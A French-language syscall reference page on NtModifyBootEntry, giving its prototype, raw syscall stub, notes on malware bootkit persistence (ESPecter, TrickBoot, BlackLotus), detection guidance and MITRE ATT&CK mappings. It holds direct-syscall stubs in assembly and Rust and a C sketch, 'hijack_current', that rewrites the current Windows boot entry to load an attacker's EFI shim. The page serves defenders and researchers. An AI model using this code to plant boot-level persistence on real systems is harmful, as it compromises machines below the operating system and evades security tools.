NtModifyBootEntry

Prototype

NTSTATUS NtModifyBootEntry(
  PBOOT_ENTRY BootEntry
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 1F 01 00 00      mov eax, 0x11F
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Contrairement à NtAddBootEntry, NtModifyBootEntry n'a pas de paramètre `Id` en sortie — l'ID est la *clé primaire* embarquée dans la BOOT_ENTRY entrante. Le noyau localise l'entrée firmware correspondante (variable EFI `Boot####` sur UEFI, entrée dans la ruche BCD sur BIOS) et la réécrit atomiquement. SeSystemEnvironmentPrivilege requis. Le même blob opaque `OsOptionsLength` est honoré, ce qui permet de patcher en un coup n'importe quels éléments BCD (BcdLibraryDevice_ApplicationDevice, BcdOSLoaderString_KernelPath, etc.).

Usage courant par les malwares

La variante de persistance BCD la plus furtive : plutôt que d'*ajouter* une entrée suspecte que les défenseurs verraient dans `bcdedit /enum`, le malware **mute l'entrée Windows légitime `{current}`** pour que son élément `path` pointe sur un bootmgr malveillant ou un binaire EFI chaîné qui rebrousse ensuite vers le vrai loader. L'utilisateur ne voit aucun menu supplémentaire ; le système démarre simplement par le stage 0 de l'attaquant. C'est la technique attribuée à ESPecter (qui modifie l'objet BCD existant Windows Boot Manager) et à la reconnaissance `bcdedit /set {bootmgr} path` de TrickBoot. BlackLotus patche également l'entrée existante pour désactiver les vérifications d'intégrité BitLocker avant l'exécution de son bootkit.

Opportunités de détection

Les modifications BCD touchent la même télémétrie que les ajouts : ETW Microsoft-Windows-Kernel-Boot, deltas registre sur `HKLM\BCD00000000`, et événement d'audit 4673 pour SeSystemEnvironmentPrivilege. Différencier spécifiquement les éléments `path`, `device` et `nx` des objets `{current}` et `{bootmgr}` par rapport à une baseline de référence — tout changement hors fenêtre Patch Tuesday est suspect. Windows Defender Application Control (WDAC) ne peut pas empêcher l'appel, mais appliquer **Boot Integrity** via Measured Boot + un service d'attestation distante (Azure Attestation, santé des appareils Intune) détecte la dérive post-démarrage car les mesures TPM PCR[4]/PCR[7] divergeront de la politique attendue.

Exemples de syscalls directs

NtModifyBootEntry PROC
    mov  r10, rcx          ; PBOOT_ENTRY (Id baked into the struct)
    mov  eax, 11Fh         ; Win11 24H2
    syscall
    ret
NtModifyBootEntry ENDP

// Conceptual: rewrite the {current} Windows entry so its bootmgr path becomes our shim.
// Read the existing entry via NtEnumerateBootEntries, mutate the FilePath, write back.
NTSTATUS hijack_current(ULONG id, const wchar_t* shim_path) {
    BYTE buf[1024] = {0};
    PBOOT_ENTRY be = (PBOOT_ENTRY)buf;
    be->Version = 1;
    be->Length  = sizeof(buf);
    be->Id      = id;                 // ID returned by NtEnumerateBootEntries
    be->Attributes = BOOT_ENTRY_ATTRIBUTE_ACTIVE;
    be->BootFilePathOffset = FIELD_OFFSET(BOOT_ENTRY, OsOptions);
    // Build a FILE_PATH(\EFI\evil\shim.efi) here ...
    return NtModifyBootEntry(be);
}

use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_modify_boot_entry(_entry: *mut u8) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x11F",  // Win11 24H2
        "syscall",
        "ret",
        options(noreturn),
    );
}

Mappings MITRE ATT&CK

• T1542.003Pre-OS Boot: Bootkitmitre ↗
• T1542Pre-OS Bootmitre ↗
• T1106Native APImitre ↗